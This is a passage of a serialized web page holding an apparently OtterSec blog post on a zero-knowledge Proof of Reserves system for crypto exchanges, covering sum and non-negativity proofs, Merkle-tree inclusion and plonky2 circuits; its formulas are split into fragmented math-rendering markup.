Reserves?",{"type":24,"tag":25,"props":93769,"children":93770},{},[93771,93773,93778],{"type":29,"value":93772},"At its heart, ",{"type":24,"tag":897,"props":93774,"children":93775},{},[93776],{"type":29,"value":93777},"Proof of Reserves (PoR)",{"type":29,"value":93779}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":24,"tag":25,"props":93781,"children":93782},{},[93783,93785,93790],{"type":29,"value":93784},"Think of it this way: ",{"type":24,"tag":897,"props":93786,"children":93787},{},[93788],{"type":29,"value":93789},"PoR",{"type":29,"value":93791}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":24,"tag":25,"props":93793,"children":93794},{},[93795],{"type":29,"value":93796},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":24,"tag":25,"props":93798,"children":93799},{},[93800,93802,93809,93811,93818,93820,93827],{"type":29,"value":93801},"We from OtterSec, in partnership with ",{"type":24,"tag":101,"props":93803,"children":93806},{"href":93804,"rel":93805},"https://backpack.exchange/",[105],[93807],{"type":29,"value":93808},"Backpack",{"type":29,"value":93810},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":24,"tag":101,"props":93812,"children":93815},{"href":93813,"rel":93814},"https://github.com/otter-sec/por_v2",[105],[93816],{"type":29,"value":93817},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":29,"value":93819}," was based on ",{"type":24,"tag":101,"props":93821,"children":93824},{"href":93822,"rel":93823},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[105],[93825],{"type":29,"value":93826},"OKX Proof of Reserves algorithm",{"type":29,"value":93828}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":24,"tag":25,"props":93830,"children":93831},{},[93832,93834,93841],{"type":29,"value":93833},"In addition, we also created and open-sourced a ",{"type":24,"tag":101,"props":93835,"children":93838},{"href":93836,"rel":93837},"https://github.com/otter-sec/por_verifier_server",[105],[93839],{"type":29,"value":93840},"PoR verifier server",{"type":29,"value":93842}," that receives the proofs and validates them.",{"type":24,"tag":59,"props":93844,"children":93846},{"id":93845},"why-do-we-use-zk-for-por",[93847],{"type":29,"value":93848},"Why do we use ZK for PoR?",{"type":24,"tag":25,"props":93850,"children":93851},{},[93852,93854,93859],{"type":29,"value":93853},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":24,"tag":897,"props":93855,"children":93856},{},[93857],{"type":29,"value":93858},"Zero-Knowledge Proofs (ZKPs)",{"type":29,"value":93860}," become game-changers.",{"type":24,"tag":25,"props":93862,"children":93863},{},[93864],{"type":29,"value":93865},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":24,"tag":25,"props":93867,"children":93868},{},[93869],{"type":29,"value":93870},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":24,"tag":1786,"props":93872,"children":93873},{},[93874,93891],{"type":24,"tag":1790,"props":93875,"children":93876},{},[93877,93882,93884,93890],{"type":24,"tag":897,"props":93878,"children":93879},{},[93880],{"type":29,"value":93881},"Sum proof",{"type":29,"value":93883},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":24,"tag":154,"props":93885,"children":93887},{"className":93886},[],[93888],{"type":29,"value":93889},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":29,"value":21986},{"type":24,"tag":1790,"props":93892,"children":93893},{},[93894,93899,93901,93906],{"type":24,"tag":897,"props":93895,"children":93896},{},[93897],{"type":29,"value":93898},"Non-negativity",{"type":29,"value":93900},": All users have a ",{"type":24,"tag":897,"props":93902,"children":93903},{},[93904],{"type":29,"value":93905},"positive",{"type":29,"value":93907}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":24,"tag":25,"props":93909,"children":93910},{},[93911],{"type":29,"value":93912},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":24,"tag":59,"props":93914,"children":93916},{"id":93915},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[93917],{"type":29,"value":93918},"What is a Merkle Tree and how does it help in a PoR?",{"type":24,"tag":25,"props":93920,"children":93921},{},[93922],{"type":29,"value":93923},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":24,"tag":25,"props":93925,"children":93926},{},[93927],{"type":24,"tag":84,"props":93928,"children":93930},{"alt":51850,"src":93929},"/posts/por/merkle-tree.png",[],{"type":24,"tag":25,"props":93932,"children":93933},{},[93934],{"type":29,"value":93935},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":24,"tag":1786,"props":93937,"children":93938},{},[93939,93952,93957],{"type":24,"tag":1790,"props":93940,"children":93941},{},[93942,93944,93950],{"type":29,"value":93943},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":24,"tag":154,"props":93945,"children":93947},{"className":93946},[],[93948],{"type":29,"value":93949},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":29,"value":93951},");",{"type":24,"tag":1790,"props":93953,"children":93954},{},[93955],{"type":29,"value":93956},"The Merkle tree is made public;",{"type":24,"tag":1790,"props":93958,"children":93959},{},[93960],{"type":29,"value":93961},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":24,"tag":25,"props":93963,"children":93964},{},[93965],{"type":29,"value":93966},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":24,"tag":59,"props":93968,"children":93970},{"id":93969},"ottersec-porv2",[93971],{"type":29,"value":93972},"OtterSec PoRv2",{"type":24,"tag":25,"props":93974,"children":93975},{},[93976,93982,93984,93991],{"type":24,"tag":101,"props":93977,"children":93979},{"href":93813,"rel":93978},[105],[93980],{"type":29,"value":93981},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":29,"value":93983},", which uses the ",{"type":24,"tag":101,"props":93985,"children":93988},{"href":93986,"rel":93987},"https://github.com/0xPolygonZero/plonky2",[105],[93989],{"type":29,"value":93990},"plonky2 ZK algorithm",{"type":29,"value":93992}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":24,"tag":25,"props":93994,"children":93995},{},[93996,93998,94005],{"type":29,"value":93997},"We named it PoRv2 because we already had a version based on ",{"type":24,"tag":101,"props":93999,"children":94002},{"href":94000,"rel":94001},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[105],[94003],{"type":29,"value":94004},"Vitalik's proof of solvency",{"type":29,"value":94006},", which was not optimal.",{"type":24,"tag":25,"props":94008,"children":94009},{},[94010],{"type":24,"tag":897,"props":94011,"children":94012},{},[94013],{"type":29,"value":94014},"Non-negativity Proof",{"type":24,"tag":25,"props":94016,"children":94017},{},[94018],{"type":29,"value":94019},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":24,"tag":25,"props":94021,"children":94022},{},[94023],{"type":29,"value":94024},"We also check for overflows during summation to prevent tampering in the final result.",{"type":24,"tag":25,"props":94026,"children":94027},{},[94028],{"type":24,"tag":897,"props":94029,"children":94030},{},[94031],{"type":29,"value":94032},"Sum Proof",{"type":24,"tag":25,"props":94034,"children":94035},{},[94036,94038,94044],{"type":29,"value":94037},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":24,"tag":154,"props":94039,"children":94041},{"className":94040},[],[94042],{"type":29,"value":94043},"BTC final: user1_btc + user2_btc ...",{"type":29,"value":94045},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":24,"tag":395,"props":94047,"children":94049},{"id":94048},"what-are-the-ottersec-porv2-key-points",[94050],{"type":29,"value":94051},"What are the OtterSec PoRv2 key points?",{"type":24,"tag":1786,"props":94053,"children":94054},{},[94055,94065,94083,94093,94124],{"type":24,"tag":1790,"props":94056,"children":94057},{},[94058,94063],{"type":24,"tag":897,"props":94059,"children":94060},{},[94061],{"type":29,"value":94062},"Transparency",{"type":29,"value":94064},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":24,"tag":1790,"props":94066,"children":94067},{},[94068,94073,94075,94082],{"type":24,"tag":897,"props":94069,"children":94070},{},[94071],{"type":29,"value":94072},"Time-efficiency",{"type":29,"value":94074},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":24,"tag":101,"props":94076,"children":94079},{"href":94077,"rel":94078},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[105],[94080],{"type":29,"value":94081},"Check our benchmark",{"type":29,"value":347},{"type":24,"tag":1790,"props":94084,"children":94085},{},[94086,94091],{"type":24,"tag":897,"props":94087,"children":94088},{},[94089],{"type":29,"value":94090},"Memory-efficiency",{"type":29,"value":94092},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":24,"tag":1790,"props":94094,"children":94095},{},[94096,94101,94103,94108,94110,94115,94117,94122],{"type":24,"tag":897,"props":94097,"children":94098},{},[94099],{"type":29,"value":94100},"Small-proofs",{"type":29,"value":94102},": We were able to reduce the final proof to less than ",{"type":24,"tag":897,"props":94104,"children":94105},{},[94106],{"type":29,"value":94107},"500KB",{"type":29,"value":94109}," and each inclusion proof to ",{"type":24,"tag":897,"props":94111,"children":94112},{},[94113],{"type":29,"value":94114},"~52KB",{"type":29,"value":94116},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":24,"tag":897,"props":94118,"children":94119},{},[94120],{"type":29,"value":94121},"200MB",{"type":29,"value":94123}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":24,"tag":1790,"props":94125,"children":94126},{},[94127,94132],{"type":24,"tag":897,"props":94128,"children":94129},{},[94130],{"type":29,"value":94131},"Privacy",{"type":29,"value":94133},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":24,"tag":59,"props":94135,"children":94137},{"id":94136},"zk-circuits",[94138],{"type":29,"value":94139},"ZK Circuits",{"type":24,"tag":25,"props":94141,"children":94142},{},[94143],{"type":29,"value":94144},"We use two different ZK circuits to generate the final proof:",{"type":24,"tag":1786,"props":94146,"children":94147},{},[94148,94153],{"type":24,"tag":1790,"props":94149,"children":94150},{},[94151],{"type":29,"value":94152},"Batch circuit",{"type":24,"tag":1790,"props":94154,"children":94155},{},[94156],{"type":29,"value":94157},"Recursive circuit",{"type":24,"tag":25,"props":94159,"children":94160},{},[94161],{"type":29,"value":94162},"With those two circuits, we can generate the proofs recursive tree:",{"type":24,"tag":25,"props":94164,"children":94165},{},[94166],{"type":24,"tag":84,"props":94167,"children":94169},{"alt":51850,"src":94168},"/posts/por/batch-circuit.png",[],{"type":24,"tag":4606,"props":94171,"children":94172},{},[94173],{"type":24,"tag":25,"props":94174,"children":94175},{},[94176,94178,94184,94186,94192],{"type":29,"value":94177},"Note: We are using 512 as ",{"type":24,"tag":154,"props":94179,"children":94181},{"className":94180},[],[94182],{"type":29,"value":94183},"BATCH_SIZE",{"type":29,"value":94185}," and 8 as ",{"type":24,"tag":154,"props":94187,"children":94189},{"className":94188},[],[94190],{"type":29,"value":94191},"RECURSIVE_SIZE",{"type":29,"value":94193}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":24,"tag":4606,"props":94195,"children":94196},{},[94197],{"type":24,"tag":25,"props":94198,"children":94199},{},[94200],{"type":29,"value":94201},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":24,"tag":25,"props":94203,"children":94204},{},[94205],{"type":29,"value":94206},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":24,"tag":395,"props":94208,"children":94210},{"id":94209},"leaf-nodes",[94211],{"type":29,"value":94212},"Leaf Nodes",{"type":24,"tag":25,"props":94214,"children":94215},{},[94216],{"type":29,"value":94217},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":24,"tag":25,"props":94219,"children":94220},{},[94221],{"type":24,"tag":154,"props":94222,"children":94224},{"className":94223},[5642,5643],[94225],{"type":24,"tag":158,"props":94226,"children":94228},{"className":94227},[5648],[94229],{"type":24,"tag":158,"props":94230,"children":94232},{"className":94231,"ariaHidden":3185},[5653],[94233,94260],{"type":24,"tag":158,"props":94234,"children":94236},{"className":94235},[5658],[94237,94242,94247,94251,94256],{"type":24,"tag":158,"props":94238,"children":94241},{"className":94239,"style":94240},[5663],"height:0.6944em;",[],{"type":24,"tag":158,"props":94243,"children":94245},{"className":94244},[5669,22832],[94246],{"type":29,"value":85623},{"type":24,"tag":158,"props":94248,"children":94250},{"className":94249,"style":5848},[5750],[],{"type":24,"tag":158,"props":94252,"children":94254},{"className":94253},[5853],[94255],{"type":29,"value":1285},{"type":24,"tag":158,"props":94257,"children":94259},{"className":94258,"style":5848},[5750],[],{"type":24,"tag":158,"props":94261,"children":94263},{"className":94262},[5658],[94264,94269,94274,94280,94285,94290,94296,94301,94306,94311,94317,94322,94328,94334,94341,94347,94353,94413,94418,94424,94429,94434,94439,94444,94449,94454,94459,94464,94469,94526,94531,94536,94541,94546,94551,94556,94563,94568,94574,94579,94585,94591,94596,94601,94606,94611,94616,94621,94626,94631,94636,94641,94646,94651,94656,94661],{"type":24,"tag":158,"props":94265,"children":94268},{"className":94266,"style":94267},[5663],"height:1.06em;vertical-align:-0.31em;",[],{"type":24,"tag":158,"props":94270,"children":94272},{"className":94271,"style":22833},[5669,22832],[94273],{"type":29,"value":22836},{"type":24,"tag":158,"props":94275,"children":94277},{"className":94276},[5669,22832],[94278],{"type":29,"value":94279},"ose",{"type":24,"tag":158,"props":94281,"children":94283},{"className":94282},[5669,22832],[94284],{"type":29,"value":1832},{"type":24,"tag":158,"props":94286,"children":94288},{"className":94287},[5669,22832],[94289],{"type":29,"value":71840},{"type":24,"tag":158,"props":94291,"children":94293},{"className":94292},[5669,22832],[94294],{"type":29,"value":94295},"o",{"type":24,"tag":158,"props":94297,"children":94299},{"className":94298},[5669,22832],[94300],{"type":29,"value":57676},{"type":24,"tag":158,"props":94302,"children":94304},{"className":94303},[22961],[94305],{"type":29,"value":504},{"type":24,"tag":158,"props":94307,"children":94309},{"className":94308},[5669,22832],[94310],{"type":29,"value":101},{"type":24,"tag":158,"props":94312,"children":94314},{"className":94313},[5669,22832],[94315],{"type":29,"value":94316},"sse",{"type":24,"tag":158,"props":94318,"children":94320},{"className":94319},[5669,22832],[94321],{"type":29,"value":22974},{"type":24,"tag":158,"props":94323,"children":94326},{"className":94324,"style":94325},[5669],"margin-right:0.02778em;",[94327],{"type":29,"value":4750},{"type":24,"tag":158,"props":94329,"children":94331},{"className":94330},[5669,22832],[94332],{"type":29,"value":94333},"ba",{"type":24,"tag":158,"props":94335,"children":94338},{"className":94336,"style":94337},[5669,22832],"margin-right:0.01968em;",[94339],{"type":29,"value":94340},"l",{"type":24,"tag":158,"props":94342,"children":94344},{"className":94343},[5669,22832],[94345],{"type":29,"value":94346},"an",{"type":24,"tag":158,"props":94348,"children":94350},{"className":94349},[5669,22832],[94351],{"type":29,"value":94352},"ce",{"type":24,"tag":158,"props":94354,"children":94356},{"className":94355},[5669],[94357,94362],{"type":24,"tag":158,"props":94358,"children":94360},{"className":94359},[5669,22832],[94361],{"type":29,"value":1472},{"type":24,"tag":158,"props":94363,"children":94365},{"className":94364},[5686],[94366],{"type":24,"tag":158,"props":94367,"children":94369},{"className":94368},[5691,22886],[94370,94401],{"type":24,"tag":158,"props":94371,"children":94373},{"className":94372},[5696],[94374,94396],{"type":24,"tag":158,"props":94375,"children":94378},{"className":94376,"style":94377},[5701],"height:0.3011em;",[94379],{"type":24,"tag":158,"props":94380,"children":94382},{"style":94381},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[94383,94387],{"type":24,"tag":158,"props":94384,"children":94386},{"className":94385,"style":5711},[5710],[],{"type":24,"tag":158,"props":94388,"children":94390},{"className":94389},[5716,5717,5718,5719],[94391],{"type":24,"tag":158,"props":94392,"children":94394},{"className":94393},[5669,5719],[94395],{"type":29,"value":5682},{"type":24,"tag":158,"props":94397,"children":94399},{"className":94398},[22989],[94400],{"type":29,"value":22992},{"type":24,"tag":158,"props":94402,"children":94404},{"className":94403},[5696],[94405],{"type":24,"tag":158,"props":94406,"children":94409},{"className":94407,"style":94408},[5701],"height:0.15em;",[94410],{"type":24,"tag":158,"props":94411,"children":94412},{},[],{"type":24,"tag":158,"props":94414,"children":94416},{"className":94415},[5750],[94417],{"type":29,"value":22933},{"type":24,"tag":158,"props":94419,"children":94421},{"className":94420},[5669],[94422],{"type":29,"value":94423},"∣∣",{"type":24,"tag":158,"props":94425,"children":94427},{"className":94426},[5750],[94428],{"type":29,"value":22933},{"type":24,"tag":158,"props":94430,"children":94432},{"className":94431},[5669,22832],[94433],{"type":29,"value":101},{"type":24,"tag":158,"props":94435,"children":94437},{"className":94436},[5669,22832],[94438],{"type":29,"value":94316},{"type":24,"tag":158,"props":94440,"children":94442},{"className":94441},[5669,22832],[94443],{"type":29,"value":22974},{"type":24,"tag":158,"props":94445,"children":94447},{"className":94446,"style":94325},[5669],[94448],{"type":29,"value":4750},{"type":24,"tag":158,"props":94450,"children":94452},{"className":94451},[5669,22832],[94453],{"type":29,"value":94333},{"type":24,"tag":158,"props":94455,"children":94457},{"className":94456,"style":94337},[5669,22832],[94458],{"type":29,"value":94340},{"type":24,"tag":158,"props":94460,"children":94462},{"className":94461},[5669,22832],[94463],{"type":29,"value":94346},{"type":24,"tag":158,"props":94465,"children":94467},{"className":94466},[5669,22832],[94468],{"type":29,"value":94352},{"type":24,"tag":158,"props":94470,"children":94472},{"className":94471},[5669],[94473,94478],{"type":24,"tag":158,"props":94474,"children":94476},{"className":94475},[5669,22832],[94477],{"type":29,"value":1472},{"type":24,"tag":158,"props":94479,"children":94481},{"className":94480},[5686],[94482],{"type":24,"tag":158,"props":94483,"children":94485},{"className":94484},[5691,22886],[94486,94515],{"type":24,"tag":158,"props":94487,"children":94489},{"className":94488},[5696],[94490,94510],{"type":24,"tag":158,"props":94491,"children":94493},{"className":94492,"style":94377},[5701],[94494],{"type":24,"tag":158,"props":94495,"children":94496},{"style":94381},[94497,94501],{"type":24,"tag":158,"props":94498,"children":94500},{"className":94499,"style":5711},[5710],[],{"type":24,"tag":158,"props":94502,"children":94504},{"className":94503},[5716,5717,5718,5719],[94505],{"type":24,"tag":158,"props":94506,"children":94508},{"className":94507},[5669,5719],[94509],{"type":29,"value":5672},{"type":24,"tag":158,"props":94511,"children":94513},{"className":94512},[22989],[94514],{"type":29,"value":22992},{"type":24,"tag":158,"props":94516,"children":94518},{"className":94517},[5696],[94519],{"type":24,"tag":158,"props":94520,"children":94522},{"className":94521,"style":94408},[5701],[94523],{"type":24,"tag":158,"props":94524,"children":94525},{},[],{"type":24,"tag":158,"props":94527,"children":94529},{"className":94528},[5750],[94530],{"type":29,"value":22933},{"type":24,"tag":158,"props":94532,"children":94534},{"className":94533},[5669],[94535],{"type":29,"value":377},{"type":24,"tag":158,"props":94537,"children":94539},{"className":94538},[5750],[94540],{"type":29,"value":22933},{"type":24,"tag":158,"props":94542,"children":94544},{"className":94543},[5669],[94545],{"type":29,"value":94423},{"type":24,"tag":158,"props":94547,"children":94549},{"className":94548},[5750],[94550],{"type":29,"value":22933},{"type":24,"tag":158,"props":94552,"children":94554},{"className":94553,"style":23291},[5669,22832],[94555],{"type":29,"value":23294},{"type":24,"tag":158,"props":94557,"children":94560},{"className":94558,"style":94559},[5669,22832],"margin-right:0.08125em;",[94561],{"type":29,"value":94562},"H",{"type":24,"tag":158,"props":94564,"children":94566},{"className":94565},[5669,22832],[94567],{"type":29,"value":78045},{"type":24,"tag":158,"props":94569,"children":94571},{"className":94570},[5669],[94572],{"type":29,"value":94573},"256",{"type":24,"tag":158,"props":94575,"children":94577},{"className":94576},[22961],[94578],{"type":29,"value":504},{"type":24,"tag":158,"props":94580,"children":94582},{"className":94581},[5669,22832],[94583],{"type":29,"value":94584},"u",{"type":24,"tag":158,"props":94586,"children":94588},{"className":94587,"style":94325},[5669,22832],[94589],{"type":29,"value":94590},"ser",{"type":24,"tag":158,"props":94592,"children":94594},{"className":94593,"style":94325},[5669],[94595],{"type":29,"value":4750},{"type":24,"tag":158,"props":94597,"children":94599},{"className":94598},[5669,22832],[94600],{"type":29,"value":1832},{"type":24,"tag":158,"props":94602,"children":94604},{"className":94603},[5669,22832],[94605],{"type":29,"value":71840},{"type":24,"tag":158,"props":94607,"children":94609},{"className":94608},[22983],[94610],{"type":29,"value":521},{"type":24,"tag":158,"props":94612,"children":94614},{"className":94613},[5750],[94615],{"type":29,"value":22933},{"type":24,"tag":158,"props":94617,"children":94619},{"className":94618},[5669],[94620],{"type":29,"value":94423},{"type":24,"tag":158,"props":94622,"children":94624},{"className":94623},[5750],[94625],{"type":29,"value":22933},{"type":24,"tag":158,"props":94627,"children":94629},{"className":94628},[5669,22832],[94630],{"type":29,"value":94584},{"type":24,"tag":158,"props":94632,"children":94634},{"className":94633,"style":94325},[5669,22832],[94635],{"type":29,"value":94590},{"type":24,"tag":158,"props":94637,"children":94639},{"className":94638,"style":94325},[5669],[94640],{"type":29,"value":4750},{"type":24,"tag":158,"props":94642,"children":94644},{"className":94643},[5669,22832],[94645],{"type":29,"value":57676},{"type":24,"tag":158,"props":94647,"children":94649},{"className":94648},[5669,22832],[94650],{"type":29,"value":94295},{"type":24,"tag":158,"props":94652,"children":94654},{"className":94653},[5669,22832],[94655],{"type":29,"value":57676},{"type":24,"tag":158,"props":94657,"children":94659},{"className":94658},[5669,22832],[94660],{"type":29,"value":94352},{"type":24,"tag":158,"props":94662,"children":94664},{"className":94663},[22983],[94665],{"type":29,"value":521},{"type":24,"tag":25,"props":94667,"children":94668},{},[94669,94671,94677],{"type":29,"value":94670},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":24,"tag":154,"props":94672,"children":94674},{"className":94673},[],[94675],{"type":29,"value":94676},"uuid",{"type":29,"value":94678},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":24,"tag":395,"props":94680,"children":94682},{"id":94681},"batch-circuit",[94683],{"type":29,"value":94684},"Batch Circuit",{"type":24,"tag":25,"props":94686,"children":94687},{},[94688],{"type":29,"value":94689},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":24,"tag":25,"props":94691,"children":94692},{},[94693],{"type":24,"tag":897,"props":94694,"children":94695},{},[94696],{"type":29,"value":94697},"Public Inputs",{"type":24,"tag":17924,"props":94699,"children":94700},{},[94701,94706,94711],{"type":24,"tag":1790,"props":94702,"children":94703},{},[94704],{"type":29,"value":94705},"Asset prices in USD",{"type":24,"tag":1790,"props":94707,"children":94708},{},[94709],{"type":29,"value":94710},"Merkle tree hash",{"type":24,"tag":1790,"props":94712,"children":94713},{},[94714],{"type":29,"value":94715},"Summed asset balances",{"type":24,"tag":25,"props":94717,"children":94718},{},[94719],{"type":24,"tag":897,"props":94720,"children":94721},{},[94722],{"type":29,"value":94723},"Private Inputs",{"type":24,"tag":17924,"props":94725,"children":94726},{},[94727,94732],{"type":24,"tag":1790,"props":94728,"children":94729},{},[94730],{"type":29,"value":94731},"Users balances",{"type":24,"tag":1790,"props":94733,"children":94734},{},[94735],{"type":29,"value":94736},"Merkle tree leaves hashes",{"type":24,"tag":25,"props":94738,"children":94739},{},[94740],{"type":24,"tag":897,"props":94741,"children":94742},{},[94743],{"type":29,"value":94744},"Constraints",{"type":24,"tag":17924,"props":94746,"children":94747},{},[94748,95201,95369,95716,96114],{"type":24,"tag":1790,"props":94749,"children":94750},{},[94751],{"type":24,"tag":154,"props":94752,"children":94754},{"className":94753},[5642,5643],[94755],{"type":24,"tag":158,"props":94756,"children":94758},{"className":94757},[5648],[94759],{"type":24,"tag":158,"props":94760,"children":94762},{"className":94761,"ariaHidden":3185},[5653],[94763,94902,95106],{"type":24,"tag":158,"props":94764,"children":94766},{"className":94765},[5658],[94767,94772,94777,94783,94788,94793,94798,94803,94808,94815,94820,94825,94830,94889,94893,94898],{"type":24,"tag":158,"props":94768,"children":94771},{"className":94769,"style":94770},[5663],"height:0.9695em;vertical-align:-0.31em;",[],{"type":24,"tag":158,"props":94773,"children":94775},{"className":94774},[5669,22832],[94776],{"type":29,"value":101},{"type":24,"tag":158,"props":94778,"children":94780},{"className":94779},[5669,22832],[94781],{"type":29,"value":94782},"cco",{"type":24,"tag":158,"props":94784,"children":94786},{"className":94785},[5669,22832],[94787],{"type":29,"value":94584},{"type":24,"tag":158,"props":94789,"children":94791},{"className":94790},[5669,22832],[94792],{"type":29,"value":57676},{"type":24,"tag":158,"props":94794,"children":94796},{"className":94795},[5669,22832],[94797],{"type":29,"value":22974},{"type":24,"tag":158,"props":94799,"children":94801},{"className":94800,"style":94325},[5669],[94802],{"type":29,"value":4750},{"type":24,"tag":158,"props":94804,"children":94806},{"className":94805},[5669,22832],[94807],{"type":29,"value":52726},{"type":24,"tag":158,"props":94809,"children":94812},{"className":94810,"style":94811},[5669,22832],"margin-right:0.03588em;",[94813],{"type":29,"value":94814},"q",{"type":24,"tag":158,"props":94816,"children":94818},{"className":94817},[5669,22832],[94819],{"type":29,"value":94584},{"type":24,"tag":158,"props":94821,"children":94823},{"className":94822},[5669,22832],[94824],{"type":29,"value":1832},{"type":24,"tag":158,"props":94826,"children":94828},{"className":94827},[5669,22832],[94829],{"type":29,"value":22974},{"type":24,"tag":158,"props":94831,"children":94833},{"className":94832},[5669],[94834,94839],{"type":24,"tag":158,"props":94835,"children":94837},{"className":94836,"style":94811},[5669,22832],[94838],{"type":29,"value":4780},{"type":24,"tag":158,"props":94840,"children":94842},{"className":94841},[5686],[94843],{"type":24,"tag":158,"props":94844,"children":94846},{"className":94845},[5691,22886],[94847,94878],{"type":24,"tag":158,"props":94848,"children":94850},{"className":94849},[5696],[94851,94873],{"type":24,"tag":158,"props":94852,"children":94855},{"className":94853,"style":94854},[5701],"height:0.3117em;",[94856],{"type":24,"tag":158,"props":94857,"children":94859},{"style":94858},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[94860,94864],{"type":24,"tag":158,"props":94861,"children":94863},{"className":94862,"style":5711},[5710],[],{"type":24,"tag":158,"props":94865,"children":94867},{"className":94866},[5716,5717,5718,5719],[94868],{"type":24,"tag":158,"props":94869,"children":94871},{"className":94870},[5669,22832,5719],[94872],{"type":29,"value":1832},{"type":24,"tag":158,"props":94874,"children":94876},{"className":94875},[22989],[94877],{"type":29,"value":22992},{"type":24,"tag":158,"props":94879,"children":94881},{"className":94880},[5696],[94882],{"type":24,"tag":158,"props":94883,"children":94885},{"className":94884,"style":94408},[5701],[94886],{"type":24,"tag":158,"props":94887,"children":94888},{},[],{"type":24,"tag":158,"props":94890,"children":94892},{"className":94891,"style":5848},[5750],[],{"type":24,"tag":158,"props":94894,"children":94896},{"className":94895},[5853],[94897],{"type":29,"value":1034},{"type":24,"tag":158,"props":94899,"children":94901},{"className":94900,"style":5848},[5750],[],{"type":24,"tag":158,"props":94903,"children":94905},{"className":94904},[5658],[94906,94910,94916,94921,94926,94931,94936,94941,94946,94951,94956,94961,94966,94971,94976,94981,94986,94991,95048,95053,95058,95063,95068,95073,95078,95083,95088,95093,95097,95102],{"type":24,"tag":158,"props":94907,"children":94909},{"className":94908,"style":94267},[5663],[],{"type":24,"tag":158,"props":94911,"children":94913},{"className":94912},[5669],[94914],{"type":29,"value":94915},"Σ",{"type":24,"tag":158,"props":94917,"children":94919},{"className":94918},[5750],[94920],{"type":29,"value":22933},{"type":24,"tag":158,"props":94922,"children":94924},{"className":94923},[5669,22832],[94925],{"type":29,"value":101},{"type":24,"tag":158,"props":94927,"children":94929},{"className":94928},[5669,22832],[94930],{"type":29,"value":94782},{"type":24,"tag":158,"props":94932,"children":94934},{"className":94933},[5669,22832],[94935],{"type":29,"value":94584},{"type":24,"tag":158,"props":94937,"children":94939},{"className":94938},[5669,22832],[94940],{"type":29,"value":57676},{"type":24,"tag":158,"props":94942,"children":94944},{"className":94943},[5669,22832],[94945],{"type":29,"value":22974},{"type":24,"tag":158,"props":94947,"children":94949},{"className":94948,"style":94325},[5669],[94950],{"type":29,"value":4750},{"type":24,"tag":158,"props":94952,"children":94954},{"className":94953},[5669,22832]